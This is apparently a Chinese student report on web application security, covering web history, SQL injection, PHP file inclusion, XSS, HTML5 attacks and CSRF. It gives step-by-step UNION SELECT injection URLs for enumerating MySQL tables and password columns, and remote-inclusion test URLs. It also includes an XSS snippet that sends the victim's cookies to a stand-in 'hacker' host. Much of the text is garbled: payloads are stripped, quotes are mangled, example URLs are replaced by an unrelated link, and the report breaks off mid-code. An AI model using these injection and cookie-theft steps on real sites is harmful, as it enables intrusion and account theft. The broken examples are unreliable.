Web前端认识
班级:0441104
姓名:夏维;王波
学号:2011211830 ;2011211832 授课教师:董涛
对Web前端的认识
由于网络技术日趋成熟,黑客们也将注意力从以往对网络服务器的攻击逐步转移到了对Web应用的攻击上。根据Gartner的最新调查,信息安全攻击有75%都是发生在Web应用而非网络层面上。同时,数据也显示,三分之二的Web站点都相当脆弱,易受攻击。然而现实确是,绝大多数企业将大量的投资花费在网络和服务器的安全上,没有从真正意义上保证Web应用本身的安全,给黑客以可乘之机。
一、Web的介绍
1、web的起源
Web是World Wide Web的简称,中文称之为万维网,是用于发布、浏览、查询信息的网络信息服务系统,由许多遍布在不同地域内的Web服务器有机地组成
2、Web架构的精妙处
从技术层面上看,Web架构的精华有三处:用超文本技术(HTML)实现信息与信息的连接;用统一资源定位技术(URL)实现全球信息的精确定位;用新的应用层协议(HTTP)实现分布式的信息共享。
3、Web技术涉及的技术
Web是一种典型的分布式应用架构。Web应用中的每一次信息交换都要涉及到客户端和服务端两个层面。因此,Web开发技术大体上也可以被分为客户端技术和服务端技术两大类。
(1)客户端技术
①HTML语言的诞生
Web客户端的主要任务是展现信息内容,HTML语言是信息展现的最有效载体之一。作为一种实用的超文本语言, 1990年,第一个图形化的Web浏览器"World Wide Web"终于可以使用一种为Web度身定制的语言--HTML来展现超文本信息了。
②从静态信息到动态信息
最初的HTML语言只能在浏览器中展现静态的文本或图像信息,随后由静态技术向动态技术逐步转变。1997年,Microsoft发布了IE 4.0,并将动态HTML 标记、CSS和动态对象模型发展成了一套完整、实用、高效的客户端开发技术体系,Microsoft称其为DHTML。同样是实现HTML页面的动态效果,DHTML技术无需启动Java虚拟机或其他脚本环境,可以在浏览器的支持下,获得更好的展现效果和更高的执行效率。
为了在HTML页面中实现音频、视频等更为复杂的多媒体应用,又引入了对QuickTime插件的支持。Real player插件、Microsoft自己的媒体播放插件Media Player也被预装到了各种Windows版本之中。随后Flash插件的横空出世。(2)服务端技术
与客户端技术从静态向动态的演进过程类似,Web服务端的开发技术也是由静态向动态逐渐发展、完善起来的。
二、漏洞挖掘
漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技
术的提升而有所变化.在前期针对缓冲区溢出格式化字符串堆溢出 lib库溢
出等技术都是针对ELF文件或者PE文件的漏洞挖掘技术.在针对ELF文件 PE文件如*.exe与*.dl的漏洞挖掘过程中,出现了很多的漏洞挖掘技术,但是针对PE 文件 ELF文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)源代码审计等办法.通过RATS等源代码审计软件可以找到部分源代码级别的漏洞信息,但是毕竟源代码审计软件寻找的多数为strcpymemcpy等存在缓冲区溢出遗患的C 函数,所以通过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术,而针对软件的黑盒子测试虽然也能找到一些软件的漏洞,但可能性系数也会较小,在国外的一些进行漏洞挖掘的办法已经慢慢的提升为自己写黑盒子测试代码,然后针对系统或软件的某个功能模块进行模块化的漏洞挖掘技术.例如Linux内核的很多漏洞都是通过fuzzing技术找到的,fuzzing即模糊测试的意思,大家可以理解为类似SQL盲注入类型的攻击技术.网络安全的界限在不断的提升,目前缓冲区溢出漏洞已经如MS SQL注入般的被很多人堵死,而在进行网络入侵渗透的过程中,很多人渗透成功的着力点都是通过WEB开始的,当然有些人是通过MS SQL注入,有些人通过其它的WEB漏洞技术一步步的走到了入侵成功的步骤.我们下面将会讨论一些WEB漏洞挖掘的简单技术,通过这些简单技术的规则,然后配合经验的提高,大家或许会得到意想不到的效果.
WEB漏洞的分类
1、SQL注入
SQL注入漏洞,是依靠存在弱点的WEB脚本代码,来实现通过浏览器执行任意SQL语句,从而实现最终获取某种权限的攻击技术.SQL注入的关键部分在于对元数据的利用,所谓元数据即数据库的基础数据.例如我们可以通过database() version()来获得数据库的名称及版本,而我们通过SQL内置函数获得的这些内容都属于数据库元数据的内容.理解了元数据的概念,在后面的章节我会给大家简单的讲解下通过元数据来获取MySQL的数据表.
2、文件包含类型,如PHP的的远程本地文件包含漏洞
文件包含漏洞是PHP程序特有的一个弱点攻击,原理就是在使用include时没有安全的编程,而能够找到文件包含漏洞则是入侵一个WEB系统的很重要的因素,有了文件包含漏洞则可以很快速的达到上传WEBSHELL,然后本地提升权限的作用.
3、 XSS
XSS漏洞是被很多人遗忘的漏洞,但是XSS也是一个比较危险的安全隐患,我看到很多国内介绍XSS漏洞的文章大部分在如何欺骗管理员获得后台登陆帐户或者管理员的cookies文件.但这些仅仅是XSS漏洞的简单用法,如果寻找到的XSS漏洞可以任意执行任Javascript脚本,那安全性也是不容忽视的.通过Javascript脚本其实也可以做一些恶意的攻击,甚至可以获得一些WEB程序的源代码,当然这个要看大家对Javascript脚本的熟悉程度.例如我们这几天公布的这个可跨站执行任意Javascript脚本的漏洞,最后我也通过这个漏洞给客户演示了如何获取他们的服务器信息,并最终实现得到其一定权限的方法.同时例如session骗 cookies欺骗,目前我也把这些规入了XSS漏洞的范围,当然仅仅研究这两个技术也是很值得大家去深入的进行漏洞挖掘的.
二、WEB漏洞挖掘规则
漏洞挖掘规则需要一个WEB浏览器,如IE Firefox等即可,无需读取WEB程序的源代码,只要某个规则符合了漏洞规则的要求,即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法
例如:
http://website/index1.php?id=,如果对方的代码过滤了"双引号,那么可以通过
http://website/index1.php?id=,采用'单引号测试,若单引号也过滤呢?OK,我们这样来测试
http://website/index1.php?id=,使用数字提交,这样测试XSS的漏洞就扩展到了三条,通过构造HTML语句来实现XSS漏洞的挖掘等等.
XSS的漏洞挖掘规则
http://website/index1.php?id=
http://website/index1.php?id=
http://website/index1.php?id=
http://website/index1.php?id=
http://website/index1.php?id=
http://website/index1.php?id=
http://website/index1.php?id=
http://website/index1.php?id=
http://website/index1.php?id=
http://website/index1.php?id=<"
http://website/index1.php?id=<'
http://website/index1.php?id=<
http://website/index1.php?id=
http://website/index1.php?id=
使用上面的这些简单漏洞规则,如果模糊测试一些站点的话,可以找到一些XSS漏洞。
下面的这四个语句判断是否存在mysql注入,其中'号类型的测试已经不是很可行,特别在PHP5和mysql5的环境下:)
http://website/index1.php?id=1'
http://website/index1.php?id=1and 1=1
http://website/index1.php?id=1and 1=2
http://website/index1.php?id=1order by 4 //4为判断该表的列数,直
到猜测到为止
下面的语句来获取mysql的一些信息,这里我们假设我们使用order by语句判断出的列数为4
http://website/index1.php?id=1and 1=1 union select 1,2,3,4
http://website/index1.php?id=1and 1=1 union select
version(),database(),user(),4
http://website/index1.php?id=1and 1=1 union select 1/*
http://website/index1.php?id=1and 1=1 union select version()/* http://website/index1.php?id=1and 1=1 union select databse()/*
猜测表名:
http://website/index1.php?id=1and 1=1 union select 1,2,3,4 from database.table where 1=2
//where 1=2 不打印猜测表的内容
admin user articles news必须在指定select的字段个数再使用,否则mysql 会报错.
http://website/index1.php?id=1and 1=1 union select
table_schema,table_name,table_rows,table_count from
information_schema.tables //
上面使用数据库的元数据来获取mysql的信息,前提是系统管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的.在开始分
析mysql数据库到底可以执行到那种程度的注入情况下分析了mysql的系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息,information_schema数据库用到的表的具体字段
1: KEY_COLUMN_USAGE表
constraint_schema: 存放数据库名
table_schema: 存放数据库名
table_name: 存放数据库表信息
column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息
2: SCHEMA表
schema_name: 存放数据库名
default_charater_set_name: 存放charset类型
default_collation_name: 存放charset相关信息
3: SCHEMA_PRIVILEGES表
grantee: 存放数据库用户名
table_schema: 表名
privilege_type: 权限
4: STATISTICS表
table_schema: 存放数据库名
table_name: 存放表名
index_schema: 数据库名
index_name: 是否缩引
column_name: 存放索引自增字段
5: TABLES表
table_schema: 存放数据库名
table_name: 存放表名
table_type: 表类型 SYSTEM or BASE TABLE
engin: MEMORY MYISAM InnoDB
version:
table_rows:表的行数
auto_increment: 自增的总行数
create_time: 创建表的时间
update_time: 更新表的时间
create_options: 创建表时的约束条件
有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而直接获取数据库表名的结果.
猜测列名:
http://website/index1.php?id=1and 1=1 union select username,2,3,4 from user where 1=2
按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会出错,也可以使用where 1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表的字段信息,如:admin与password:) C: 文件包含漏洞
文件包含漏洞的测试,有以下几个比较简单且有效的办法.
1: 新建一个简单的php代码,如: phpinfo(); ?>,保存为*.txt格式
2: 新建一个简单的php代码,如: phpinfo(); ?>,保存为无后缀格式
然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL为
https://www.doczj.com/doc/1610854319.html,/include.txt
https://www.doczj.com/doc/1610854319.html,/include
漏洞规则
http://website/file.php?inc=https://www.doczj.com/doc/1610854319.html,/include.txt
http://website/file.php?inc=https://www.doczj.com/doc/1610854319.html,/include.txt
http://website/file.php?inc=https://www.doczj.com/doc/1610854319.html,/include
http://website/file.php?inc=https://www.doczj.com/doc/1610854319.html,/include 使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断.例如从XSS漏洞的检测规则可能会发现包含文件漏洞,如果知道PHP 的某个函数存在缓冲区溢出,我们假设这个PHP的内置函数为phphtml(char *str),假设http://website/file.php?inc=test,这里的参数inc经过PHP代码时使用了phphtml内置函数,则可以使用下面的办法来触发漏洞http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数)当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode.但这里也存在一个问题,即一般情况下,类似PHP本身的溢出漏洞的利用是有些难度存在的.
三:XSS的概述
最重要的要了解XSS漏洞的是,他们是目前为止发现的,在所有网站超过80%比例的定制Web应用程序中最常见的漏洞。虽然跨站点脚本在一段时间内一直被认为是中等程度的的漏洞,但XSS蠕虫和病毒的出现,已经提高了XSS的评估。软件开发人员和安全专业人员需要知道它是多么简单,以防止代码开发过程中出现XSS漏洞,并且一经查出,他们是多么容易解决。XSS是一种攻击技术,它使得一个网站,写出攻击者提供的可执行代码,然后加载在用户的Web浏览器。也就是说,当黑客使用存在漏洞的网站作为攻击的通道时,用户是预定的受害者。
1、非持久性xss
想想看,一个黑客想使用?http://victim/?网站对用户进行XSS攻击。黑客会采取的第一个步骤是在http://victim/找出一个XSS漏洞,然后构造一个特制的URL,也被称为链接。要做到这一点,黑客会搜寻网站上的客户端提供的数据可以被发送到Web服务器,然后回显到屏幕上的任何功能,比如搜索框。常见的在线发布的博客。XSS漏洞往往出现在搜索框表单。在搜索字段中输入?test
search?,响应页面将用户输入的文本在显示在三个不同的位置,查询字符串中包含值为?test+search?的?search?参数。这个URL值可以在运行时更改,甚至包括HTML / JavaScript的内容。http://victim/ ,
http://victim/search.pl?search=test+search
其3展示了原来的搜索词被替换为下面的HTML / JavaScript代码时会发生什么:Example 1.
?>
结果页面弹出了一个无害的警告对话框。根据提示,提交的代码已经成为web页面的一部分,证明了JavaScript已进入到http://victim/的上下文并得到执行。其4展示了夹杂有新的HTML/ JavaScript代码的Web页面的HTML源代码。其3,原来的搜索词将被替换为HTML/ JavaScript代码。其4,夹杂有新的HTML/ JavaScript代码的Web页面的HTML源代码。此时,黑客将会继续修改这个URL,包含更复杂的XSS攻击来利用用户。一个典型的例子是一个简单的cookie盗窃的攻击。
Example 2.
?>
前面的JavaScript代码创建一个图像DOM(文档对象模型)对象。
varimg=new Image();
因为JavaScript 代码在?http://victim/?上下文中执行,所以它可以访问cookie数据。
document.cookie;
图形对象然后指派一个外域的URL发送带有Web浏览器的Cookie字符串的数据到?http://hacker/?。
img.src=?http://hacker /? + document.cookie;
下面是一个例子,是一个被发送的HTTP请求。
Example 3.
GET http://hacker/path/_web_browser_cookie_data HTTP/1.1
Host: host
User-Agent: Firefox/1.5.0.1
Content-length: 0
一旦黑客完成了他的攻击代码,他会通过垃圾邮件,留言板的帖子,即时消息和其他方法宣传这种特制的链接,试图吸引用户点击。是什么让这种攻击这么有效?用户可能点击正常的网络钓鱼邮件7中的链接是因为这个URL包含了真正的网站域名,而不是一种外观相似的域名或随机的IP地址。应当注意的是,过长的XSS链接可以使用URL缩短服务,如https://www.doczj.com/doc/1610854319.html,进行伪装。
2、持久型XSS
持久型XSS攻击最常发生在由社区内容驱动的网站或Web邮件网站,不需要特制的链接来执行。黑客仅仅需要提交XSS漏洞利用代码到一个网站上其他用户可能访问的地方。这些地区可能是博客评论,用户评论,留言板,聊天室,HTML 电子邮件,wikis,和其他的许多地方。一旦用户访问受感染的网页,执行是自动的。这使得持续性的XSS的危险性比非持久性高,因为用户没有办法保护自己。一旦黑客成功在某个页面注入了漏洞利用代码,他将宣传受感染页面的URL来希
望不知情的用户中招。即使用户对非持续性XSS的URL懂得识别,也会很容易的受到影响。无论使用非持续性或持续性的XSS漏洞,黑客可以利用用户,导致网络和财务上的损失,有许多的方法。
2、传播的方法
对于一个病毒或蠕虫想要成功,它需要一个执行和传播的方法。电子邮件病毒通常在鼠标点击后执行,然后通过您的联系人列表来发送带有恶意软件的的邮件进行传播。网络蠕虫利用远程利用漏洞危害机器和并且通过连接到其他存在漏洞的主机进行传播。除传播之外,蠕虫病毒还是高度多样化,包括创造DDoS僵尸网络,垃圾邮件僵尸,或远程键盘监控的能力。XSS蠕虫与其他形式的恶意软件相似,但以自己独特的方式执行和传播。使用一个网站来存放恶意代码,XSS蠕虫和病毒通过控制Web浏览器,使得它复制恶意软件到网络上的其他地方去感染别人来进行传播。例如,一个含有恶意软件的博客评论,可以使用访问者的浏览器发布额外的感染性的博客评论。XSS蠕虫病毒可能会使得浏览器进行发送电子邮件,转账,删除/修改数据,入侵其他网站,下载非法内容,以及许多其他形式的恶意活动。用最简单的方式去理解,就是如果没有适当的防御,在网站上的任何功能都可以在未经用户许可的情况下运行。
在最后一节中,我们将重点放在XSS漏洞本身,以及用户可以怎么样被利用。现在,我们来看XSS恶意软件是如何可以进行远程通信。XSS漏洞利用代码,通常是HTML / JavaScript,使用三种方式使得浏览器发送远程HTTP请求的浏览器:嵌入式的HTML标签,JavaScript DOM的对象,XMLHTTPRequest。
3、嵌入式HTML标签
一些HTML标签具有在页面加载时会自动发起Web浏览器的HTTP请求的属性。有一个例子是IMG的SRC属性。SRC属性用于指定在Web页面中显示的图像文件的URL地址。当你的浏览器载入带有IMG标签的网页,图像会自动被请求,并在浏览器中显示。但是,SRC属性也可以被用于任何Web服务器的其他URL,不仅仅是包含图像的。
例如,如果我们进行了谷歌搜索?WhiteHatSecurity?我们最终得到了下面的URL:
https://www.doczj.com/doc/1610854319.html,/search?hl=en&q=whitehat+security&btnG=Google+Se arch
这个URL可以很容易地取代IMG内的SRC属性的值,从而迫使您的Web浏览器中执行相同的谷歌搜索。
src=?https://www.doczj.com/doc/1610854319.html,/search?hl=en&q=whitehat+security&btnG=Goo gle+ Search?>显然使得Web浏览器发送一个谷歌搜索请求是没有什么危害性的。然而,URL构建的同样的过程可以用来使得Web浏览器自动进行银行账户资金的汇款,发表煽动性言论,甚至入侵网站。这一点可以说明,这是一个迫使一个Web 浏览器连接到其他网站,使的XSS蠕虫病毒传播的机制。
5、JavaScript和文档对象模型
JavaScript被用于给网站访问者一个丰富的、交互式的体验。这些网页更接近于一个软件应用程序,而不是一个静态的HTML文档。我们常会看到JavaScript
被用于进行图像的翻转,动态表单输入检查,弹出对话框,下拉菜单,拖动和拖放等。JavaScript有接近完全的对网站上的每一个对象,包括图像,cookies,窗口,框架和文本内容的访问。这些对象中的每一个都是文档对象模型的一部分。
DOM提供了一系列JavaScript读取和操作的应用程序编程接口。类似嵌入式HTML标签的功能,JavaScript可以操纵DOM对象自动发起Web浏览器的HTTP请求。图像和窗口的源URL可以被重新指定为其他URL的。我们可以使用JavaScript来改变图像的DOM对象SRC进行谷歌搜索?WhiteHat Security?。img[0].src = https://www.doczj.com/doc/1610854319.html,/search?hl=en&q=whitehat+security&btnG=Google+ Search;
迫使Web浏览器连接到其他网站发送一个谷歌搜索请求是一种无害的例子。但这也说明了XSS恶意软件传播的另一种方法。
四、HTML5安全
五种可能会利用HTML5的功能进行攻击的方法:
1、表单篡改:另一个新功能让攻击者可以在被注入JavaScript的网站(例如XSS攻击)中更改该网页上的表单行为。举例来说,攻击者可以改变一个网络商店的正常行为,不是将内容送到购买或是登录页面,而是将用户的身分认证信息发送到攻击者自己的网站。
2、利用地理定位追踪受害者:地理定位是HTML5新功能中最受注目的一个。因为安全和隐私的考虑,网站必须先得到用户的批准,随后才能获得位置讯息。然而就和以前出现过的其他功能一样,例如Vista的用户帐户控制,Android的应用程序权限,还有无效的HTTPS凭证等,这些需要用户作决定的安全措施几乎没有任何效果。而一旦有了授权,网站不仅可以知道受害者的位置,而且还可以在用户移动时对其进行实时追踪。
3、利用桌面通知做社会工程学攻击:我们在HTML5 的五大优秀功能文章中曾经提到过HTML5的一个新功能:桌面通知。这些出现在浏览器之外的弹出窗口,其实是可以用HTML程序代码进行定制的。虽然这种功能带来了很不错的交互方式,但也可能导致社会工程学攻击,例如网络钓鱼或者假冒杀毒软件等。看看下面的图片就可以想象到,攻击者可以如何利用这个新功能了。
4、利用跨域请求或WebSockets的端口扫描:有了HTML5,浏览器现在可以连到任何IP地址或网站的(几乎)任何端口。虽然除非目标网站有特别的允许,不然并不能接收到来自任意端口连接的回应,但是研究人员表示,这类请求所花的时间可以用来判断目标端口是打开的还是关闭的。因此攻击者就可以直接利用浏览器对受害者的内部网络进行端口扫描。
5、点击劫持更加容易:点击劫持本身不是种新的攻击,这种攻击的目的是窃取受害者的鼠标按钮点击,然后将点击定向到攻击者所指定的其他页面。攻击者的目的是让用户在不知情的情况下点击隐藏的链接。目前,对于点击劫持最好的服务器端防御措施之一是被称为Framekilling的技术。本质上来说,受到影响的网站可以利用JavaScript来验证自己是否在一个iframe中运行,如果是的话,就拒绝显示页面内容。这种技术已经被在用在Facebook、Gmail和其他一些网站中。但是HTML5在iframe中增加了一个新的沙盒属性,该属性会让网站停止执行JavaScript脚本。在大多数情况下,这其实是比较安全的做法,但也存在缺点,就是会抵消目前对点击劫持最好的防御措施。
五、CSRF
CSRF是跨站请求伪造,也被称为?one click attack?或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本,但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行和难以防范,所以被认为比XSS更具危险性。
即在某个恶意站点的页面上,促使访问者请求你的网站的某个 URL,从而达到改变服务器端数据的目的。这一类攻击依赖于你的网页中的表单,脆弱的表单很容易受到攻击。对于你网站中的访问者而言,可能会受到以下攻击:
在你的网站之外记录受攻击者的日志(比如:Slashdot);
修改受攻击者在你的网站的设置(比如:Google);
修改你的硬件防火墙;
使用受攻击者的登录信息在你的网站中发表评论或留言;
将资金转移到另一个用户帐号中。
CSRF 攻击的典型是那些使用 cookie 记录登录信息的网站,但对于一些允许某个 IP 地址访问的页面(如内部网),这一类攻击也会奏效。
CSRF 攻击通常会使用到 JavaScript(但不仅限于 JavaScript)实现跨站点自动提交表单--表单数据可以隐藏,提交按钮可以伪装成链接或滚动条。
确定那些接受可改变服务器数据的 CGI 只接受 POST 参数,不接受 GET 参数,一些服务器端语言默认同时接受两种方式提交过来的参数;
确定表单提交处理的是你自己的表单,可以使用一个隐藏字段中存放MD5字符串,此字符串是将登录 cookie 数据与服务器端存放的密钥进行 MD5 之后的结果,只有这个 MD5 字符串正确时才接受表单数据;
另外还可以增加一个更为严格的方法:在表单中增加一个时间戳的隐藏字段,并将其包含到 hash 字符串中,如果时间戳超过某个时间,则认为表单已过期。当表单过期时,给出一个方法可以让用户重新提交表单,比如将用户之前填写的数据依旧放入表单中,但使用一个新的 hash 字符串。
一个PHP的表单例子,表单代码:
$hash = md5($time.$key); //hash 字符串?